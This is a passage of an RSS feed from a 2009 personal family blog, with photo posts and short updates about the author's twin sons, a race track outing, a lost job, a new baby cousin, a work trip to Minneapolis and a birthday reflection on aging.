<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-9.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-9-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-10.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-10-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-11.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-11-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-12.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/08/2009-08-22-img-12-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/08/24/weekend-photos-from-mygym-and-arlington-race-track/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/08/24/weekend-photos-from-mygym-and-arlington-race-track/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>At Arlington Park race track t&#8230;</title>
		<link>http://tomchak.com/blog/2009/08/22/at-arlington-park-race-track-t/</link>
		<comments>http://tomchak.com/blog/2009/08/22/at-arlington-park-race-track-t/#comments</comments>
		<pubDate>Sat, 22 Aug 2009 21:07:14 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/08/22/at-arlington-park-race-track-t/</guid>
		<description><![CDATA[At Arlington Park race track teaching the boys what a trifecta is and why it&#8217;s very good when daddy wins it. Not that I&#8217;m actually winning.
]]></description>
			<content:encoded><![CDATA[<p>At Arlington Park race track teaching the boys what a trifecta is and why it&#8217;s very good when daddy wins it. Not that I&#8217;m actually winning.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/08/22/at-arlington-park-race-track-t/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/08/22/at-arlington-park-race-track-t/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Easy come, easy go. A 9 day jo&#8230;</title>
		<link>http://tomchak.com/blog/2009/08/20/easy-come-easy-go-a-9-day-jo/</link>
		<comments>http://tomchak.com/blog/2009/08/20/easy-come-easy-go-a-9-day-jo/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 18:05:16 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/08/20/easy-come-easy-go-a-9-day-jo/</guid>
		<description><![CDATA[Easy come, easy go. A 9 day job turned into 6, then 5 &#38; then just went away &#8211; all within about a weeks time. No small thing in this economy.
]]></description>
			<content:encoded><![CDATA[<p>Easy come, easy go. A 9 day job turned into 6, then 5 &amp; then just went away &#8211; all within about a weeks time. No small thing in this economy.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/08/20/easy-come-easy-go-a-9-day-jo/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/08/20/easy-come-easy-go-a-9-day-jo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Typical Morning With The Boys</title>
		<link>http://tomchak.com/blog/2009/08/16/a-typical-morning-with-the-boys/</link>
		<comments>http://tomchak.com/blog/2009/08/16/a-typical-morning-with-the-boys/#comments</comments>
		<pubDate>Sun, 16 Aug 2009 20:10:57 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Video Post]]></category>
		<category><![CDATA[Andrew]]></category>
		<category><![CDATA[Max]]></category>
		<category><![CDATA[Tom]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1755</guid>
		<description><![CDATA[[See post to watch QuickTime movie]

]]></description>
			<content:encoded><![CDATA[<p style="clear: both">[See post to watch QuickTime movie]
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/08/16/a-typical-morning-with-the-boys/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/08/16/a-typical-morning-with-the-boys/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A nice evening at home, snacki&#8230;</title>
		<link>http://tomchak.com/blog/2009/08/12/a-nice-evening-at-home-snacki/</link>
		<comments>http://tomchak.com/blog/2009/08/12/a-nice-evening-at-home-snacki/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 02:49:44 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/08/12/a-nice-evening-at-home-snacki/</guid>
		<description><![CDATA[A nice evening at home, snacking on goldfish crackers and drinking scotch on the rocks while watching HBO. Not a bad way to end the day.
]]></description>
			<content:encoded><![CDATA[<p>A nice evening at home, snacking on goldfish crackers and drinking scotch on the rocks while watching HBO. Not a bad way to end the day.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/08/12/a-nice-evening-at-home-snacki/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/08/12/a-nice-evening-at-home-snacki/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I love the early morning runs &#8230;</title>
		<link>http://tomchak.com/blog/2009/08/10/i-love-the-early-morning-runs/</link>
		<comments>http://tomchak.com/blog/2009/08/10/i-love-the-early-morning-runs/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 11:03:34 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/08/10/i-love-the-early-morning-runs/</guid>
		<description><![CDATA[
I love the early morning runs when you&#8217;re seemingly the only one awake.
]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1752" title="earlymorningrun" src="http://tomchak.com/blog/wp-content/uploads/2009/08/earlymorningrun.jpg" alt="earlymorningrun" width="600" height="450" /></p>
<p>I love the early morning runs when you&#8217;re seemingly the only one awake.</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/08/10/i-love-the-early-morning-runs/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/08/10/i-love-the-early-morning-runs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twins gone wild at the mall pl&#8230;</title>
		<link>http://tomchak.com/blog/2009/08/09/twins-gone-wild-at-the-mall-pl/</link>
		<comments>http://tomchak.com/blog/2009/08/09/twins-gone-wild-at-the-mall-pl/#comments</comments>
		<pubDate>Sun, 09 Aug 2009 20:42:25 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Twitter]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/08/09/twins-gone-wild-at-the-mall-pl/</guid>
		<description><![CDATA[Twins gone wild at the mall play area. I&#8217;m glad it&#8217;s over, but they loved it. I just love these boys so much. 
http://yfrog.us/0nx8ez
]]></description>
			<content:encoded><![CDATA[<p>Twins gone wild at the mall play area. I&#8217;m glad it&#8217;s over, but they loved it. I just love these boys so much. </p>
<p>http://yfrog.us/0nx8ez</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/08/09/twins-gone-wild-at-the-mall-pl/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/08/09/twins-gone-wild-at-the-mall-pl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Random Max Photos</title>
		<link>http://tomchak.com/blog/2009/07/28/random-max-photos/</link>
		<comments>http://tomchak.com/blog/2009/07/28/random-max-photos/#comments</comments>
		<pubDate>Tue, 28 Jul 2009 23:40:57 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Max]]></category>
		<category><![CDATA[Maximus]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/07/28/random-max-photos/</guid>
		<description><![CDATA[It&#8217;s not that I don&#8217;t take any of Andrew, it&#8217;s more that I didn&#8217;t take any good ones of Andrew. In fact out of about 150 photos of the boys, these are the only ones that I liked. 





]]></description>
			<content:encoded><![CDATA[<p style="clear: both">It&#8217;s not that I don&#8217;t take any of Andrew, it&#8217;s more that I didn&#8217;t take any <em>good</em> ones of Andrew. In fact out of about 150 photos of the boys, these are the only ones that I liked. </p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-25-mg-0623.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-25-mg-0623-thumb.jpg" height="400" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-25-mg-0582.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-25-mg-0582-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-25-mg-0581.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-25-mg-0581-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-18-mg-0557.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-18-mg-0557-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/07/28/random-max-photos/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/07/28/random-max-photos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I wish we had thought of this!</title>
		<link>http://tomchak.com/blog/2009/07/23/i-wish-we-had-thought-of-this/</link>
		<comments>http://tomchak.com/blog/2009/07/23/i-wish-we-had-thought-of-this/#comments</comments>
		<pubDate>Thu, 23 Jul 2009 19:22:30 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Text Post]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/07/23/i-wish-we-had-thought-of-this/</guid>
		<description><![CDATA[What an awesome way to mix it up and make it YOUR celebration. I couldn&#8217;t stop smiling through the whole thing. 

]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><span style=" text-align: center; display: block; margin: 0 auto 10px;"><object height="385" width="480"><param name="movie" value="http://www.youtube.com/v/4-94JhLEiN0&#038;hl=en&#038;fs=1&#038;rel=0" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="http://www.youtube.com/v/4-94JhLEiN0&#038;hl=en&#038;fs=1&#038;rel=0" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" height="385" width="480"></embed></object></span>What an awesome way to mix it up and make it YOUR celebration. I couldn&#8217;t stop smiling through the whole thing. </p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/07/23/i-wish-we-had-thought-of-this/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/07/23/i-wish-we-had-thought-of-this/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>I&#8217;ll Have Some Table With My Pizza</title>
		<link>http://tomchak.com/blog/2009/07/15/ill-have-some-table-with-my-pizza/</link>
		<comments>http://tomchak.com/blog/2009/07/15/ill-have-some-table-with-my-pizza/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 13:08:13 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Video Post]]></category>
		<category><![CDATA[Andrew]]></category>
		<category><![CDATA[Brenda]]></category>
		<category><![CDATA[California Pizza Kitchen]]></category>
		<category><![CDATA[Max]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1731</guid>
		<description><![CDATA[On Monday we were out and about and took the boys to California Pizza Kitchen at Oakbrook Mall. I happened to have the new camera with me and decided to roll some video on them since they were being pretty funny.
As with the library clip, this is unedited footage so it&#8217;s a bit longer then [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both">On Monday we were out and about and took the boys to California Pizza Kitchen at Oakbrook Mall. I happened to have the new camera with me and decided to roll some video on them since they were being pretty funny.</p>
<p style="clear: both">As with the library clip, this is unedited footage so it&#8217;s a bit longer then the 2 minute clips I normally put up. But you might find if you start watching it you can&#8217;t stop! TRT is 10 minutes.</p>
<p style="clear: both">[See post to watch QuickTime movie]
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/07/15/ill-have-some-table-with-my-pizza/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/07/15/ill-have-some-table-with-my-pizza/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Welcome Adam James Horton</title>
		<link>http://tomchak.com/blog/2009/07/11/welcome-adam-james-horton/</link>
		<comments>http://tomchak.com/blog/2009/07/11/welcome-adam-james-horton/#comments</comments>
		<pubDate>Sat, 11 Jul 2009 17:07:01 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Adam James Horton]]></category>
		<category><![CDATA[New Baby]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/07/11/welcome-adam-james-horton/</guid>
		<description><![CDATA[My cousin Scott and his wife Lisa just had their first baby on Friday, and he&#8217;s a cutie! Just looking at the photos makes me want to have another little baby! Oh, wait&#8230; got that covered already. 
Here are a few early photos from my very proud Aunt Darlene (and Grandma). More photos will be [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both">My cousin Scott and his wife Lisa just had their first baby on Friday, and he&#8217;s a cutie! Just looking at the photos makes me want to have another little baby! Oh, wait&#8230; got that covered already. </p>
<p style="clear: both">Here are a few early photos from my very proud Aunt Darlene (and Grandma). More photos will be posted on <a href="http://www.facebook.com/profile.php?id=1369352474&#038;ref=ts" target="_blank">Scott</a> and <a href="http://www.facebook.com/profile.php?id=1171618165&#038;hiq=lisa%2Cbellamy" target="_blank">Lisa&#8217;s</a> FaceBook pages over the next few days.</p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/grandma-and-adam-james-full.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/grandma-and-adam-james-thumb.jpg" height="450" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/uncle-pat-and-adam-james1.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/uncle-pat-and-adam-james1-thumb.jpg" height="450" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/101-0537.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/101-0537-thumb.jpg" height="450" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/07/11/welcome-adam-james-horton/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/07/11/welcome-adam-james-horton/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Minneapolis Update</title>
		<link>http://tomchak.com/blog/2009/07/09/minneapolis-update/</link>
		<comments>http://tomchak.com/blog/2009/07/09/minneapolis-update/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 05:50:50 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1715</guid>
		<description><![CDATA[Overall it&#8217;s been a great week. Long days, but the videos are looking good and well received. 
Here are a few photos from this week, and you can find more on SmugMug.
Went for a walk this morning. The weather has been great. 
Great little Breakfast Diner. 
We had a great Japanese dinner on Wednesday night. [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both">Overall it&#8217;s been a great week. Long days, but the videos are looking good and well received. </p>
<p style="clear: both">Here are a few photos from this week, and you can find more on <a href="http://tomchak.smugmug.com/gallery/8849739_D2mmF#586511498_Vr4YW" target="_blank">SmugMug</a>.</p>
<p style="clear: both; text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-09-mg-0406.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-09-mg-0406-thumb.jpg" height="416" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>Went for a walk this morning. The weather has been great. </p>
<p style="clear: both; text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-09-mg-0404.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-09-mg-0404-thumb.jpg" height="400" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>Great little <a href="http://maps.google.com/maps?f=q&#038;source=s_q&#038;hl=en&#038;geocode=&#038;q=Band+Box+Diner,+Minneapolis&#038;sll=37.0625,-95.677068&#038;sspn=41.089062,84.199219&#038;ie=UTF8&#038;ll=44.984228,-93.259592&#038;spn=0.035939,0.082226&#038;z=14&#038;iwloc=A" target="_blank">Breakfast Diner</a>. </p>
<p style="clear: both; text-align: center;clear: both; text-align: center;"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-08-mg-0394.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-08-mg-0394-thumb1.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a>We had a great Japanese dinner on Wednesday night. </p>
<p>And, a little video from the event. Not all that interesting, but I was playing around with the camera to get some practice. It&#8217;s not the easiest thing to take video with. </p>
[See post to watch QuickTime movie]
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/07/09/minneapolis-update/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/07/09/minneapolis-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Home in Minneapolis, For The Week</title>
		<link>http://tomchak.com/blog/2009/07/06/home-in-minneapolis-for-the-week/</link>
		<comments>http://tomchak.com/blog/2009/07/06/home-in-minneapolis-for-the-week/#comments</comments>
		<pubDate>Tue, 07 Jul 2009 04:54:55 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/2009/07/06/home-in-minneapolis-for-the-week/</guid>
		<description><![CDATA[






]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/gps-arrival.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/gps-arrival-thumb.jpg" height="374" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-06-mg-0347.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-06-mg-0347-thumb.jpg" height="400" width="600" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-06-mg-0352.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-06-mg-0352-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-06-mg-0353.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-06-mg-0353-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-06-mg-0355.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-06-mg-0355-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-06-mg-0350.jpg" class="image-link"><img class="linked-to-original" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-06-mg-0350-thumb.jpg" height="400" width="598" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/07/06/home-in-minneapolis-for-the-week/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/07/06/home-in-minneapolis-for-the-week/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iChatting with Grandma &amp; Grandpa</title>
		<link>http://tomchak.com/blog/2009/07/06/ichatting-with-grandma-grandpa/</link>
		<comments>http://tomchak.com/blog/2009/07/06/ichatting-with-grandma-grandpa/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 13:00:59 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[Andrew]]></category>
		<category><![CDATA[Grandma]]></category>
		<category><![CDATA[Grandpa]]></category>
		<category><![CDATA[iChat]]></category>
		<category><![CDATA[Max]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1690</guid>
		<description><![CDATA[This past weekend we did an iChat session with the twins and Grandma and Grandpa back in Michigan. The boys seemed to love and and we&#8217;re going to try and do it every few weeks from now on. That way the boys won&#8217;t yell &#8220;Stranger Danger&#8221; the next time they go to Michigan.
More photos can [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both">This past weekend we did an iChat session with the twins and Grandma and Grandpa back in Michigan. The boys seemed to love and and we&#8217;re going to try and do it every few weeks from now on. That way the boys won&#8217;t yell &#8220;Stranger Danger&#8221; the next time they go to Michigan.</p>
<p style="clear: both">More photos can be found on <a href="http://tomchak.smugmug.com/gallery/8794070_uGNtr#582219660_RfQUT" target="_blank">SmugMug</a>.</p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-04-mg-0286.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-04-mg-0286-thumb.jpg" alt="" width="600" height="400" /></a></p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-04-mg-0289.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-04-mg-0289-thumb.jpg" alt="" width="598" height="400" /></a></p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-04-mg-0304.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-04-mg-0304-thumb.jpg" alt="" width="598" height="400" /></a></p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-04-mg-0319.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/07/2009-07-04-mg-0319-thumb.jpg" alt="" width="598" height="400" /></a></p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/07/06/ichatting-with-grandma-grandpa/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/07/06/ichatting-with-grandma-grandpa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>15,330 Days Old and Counting</title>
		<link>http://tomchak.com/blog/2009/07/05/15330-days-old-and-counting/</link>
		<comments>http://tomchak.com/blog/2009/07/05/15330-days-old-and-counting/#comments</comments>
		<pubDate>Sun, 05 Jul 2009 13:00:00 +0000</pubDate>
		<dc:creator>Thomas Tomchak</dc:creator>
				<category><![CDATA[Photo Post]]></category>
		<category><![CDATA[Text Post]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Getting Old Sucks]]></category>
		<category><![CDATA[I'm Old]]></category>
		<category><![CDATA[My Face Is Fat]]></category>

		<guid isPermaLink="false">http://tomchak.com/blog/?p=1620</guid>
		<description><![CDATA[
2001 Drivers License &#8211; In shape, at ideal weight. 

2009 Drivers License &#8211; Face is now fat and round, and I&#8217;m 35 lbs. over weight (I misreported my actual weight this year, but don&#8217;t feel guilty about it)!
I&#8217;m not one to celebrate my Birthday. In fact since my late 30&#8217;s it has become a day [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both; text-align: left;"><img class="aligncenter size-full wp-image-1673" title="driverslicense_old1" src="http://tomchak.com/blog/wp-content/uploads/2009/07/driverslicense_old1.jpg" alt="driverslicense_old1" width="600" height="393" /></p>
<p style="clear: both; text-align: left;"><strong>2001 Drivers License &#8211; In shape, at ideal weight. </strong></p>
<p style="clear: both; text-align: left;clear: both; text-align: left;"><img class="aligncenter size-full wp-image-1674" title="driverslicense_new1" src="http://tomchak.com/blog/wp-content/uploads/2009/07/driverslicense_new1.jpg" alt="driverslicense_new1" width="600" height="378" /></p>
<p style="clear: both; text-align: left;clear: both; text-align: left;"><strong>2009 Drivers License &#8211; Face is now fat and round, and I&#8217;m 35 lbs. over weight (I misreported my actual weight this year, but don&#8217;t feel guilty about it)!</strong></p>
<p>I&#8217;m not one to celebrate my Birthday. In fact since my late 30&#8217;s it has become a day I really don&#8217;t look forward to anymore. Why celebrate that I&#8217;m even older then the year before? It&#8217;s not like I&#8217;m trying to be of legal driving age, drink or get into strip clubs in Windsor Canada (I&#8217;ve heard some guys do that). I can rent a car without a cosigner, vote, buy liquor without being carded and represent myself in a court of law should I chose to do so.</p>
<p style="clear: both">SO&#8230; what <em>exactly</em> am I to celebrate?</p>
<p style="clear: both">In recent years I have become more attuned to my age, and at one point last year I woke up in the middle of the night freaked out by the realization that most likely, I&#8217;ve already lived more then half of my life. Up until that moment I had always thought &#8220;Ahhh, I have my whole life in front of me&#8221;, and suddenly I realize that a good chunk of my life is now <em>behind</em> me! How did that happen?!</p>
<p style="clear: both">I&#8217;m not really as bothered about my age as this post may have you believe. I&#8217;ve made peace with it for the most part. But the subject does bring me to a great book I&#8217;m currently reading. It just made sense to share it on the celebration of my 15,330th day of life on this earth. The books is called &#8220;Younger Next Year&#8221;.</p>
<p><span id="more-1620"></span></p>
<p style="clear: both"><a class="image-link" href="http://tomchak.com/blog/wp-content/uploads/2009/07/youngernextyearbook.jpg"><img class="linked-to-original" style=" text-align: center; display: block; margin: 0 auto 10px;" src="http://tomchak.com/blog/wp-content/uploads/2009/07/youngernextyearbook-thumb6.jpg" alt="" width="375" height="500" /></a>Here is a synopsis from the publisher.</p>
<blockquote style="clear: both"><p>Announcing the paperback edition of Younger Next Year, the New York Times, USA Today, Wall Street Journal, and Publishers Weekly bestseller, co-written by one of the country&#8217;s most prominent internists, Dr. Henry &#8220;Harry&#8221; Lodge, and his star patient, the 73-year-old Chris Crowley. These are the books that show us how to turn back our biological clocks&#8211;how to put off 70% of the normal problems of aging (weakness, sore joints, bad balance) and eliminate 50% of serious illness and injury. The key to the program is found in Harry&#8217;s Rules: Exercise six days a week. Don&#8217;t eat crap. Connect and commit to others. There are seven rules all together, based on the latest findings in cell physiology, evolutionary biology, anthropology, and experimental psychology. Dr. Lodge explains how and why they work&#8211;and Chris Crowley, who is living proof of their effectiveness (skiing better today, for example, than he did twenty years ago), gives the just-as-essential motivation.</p>
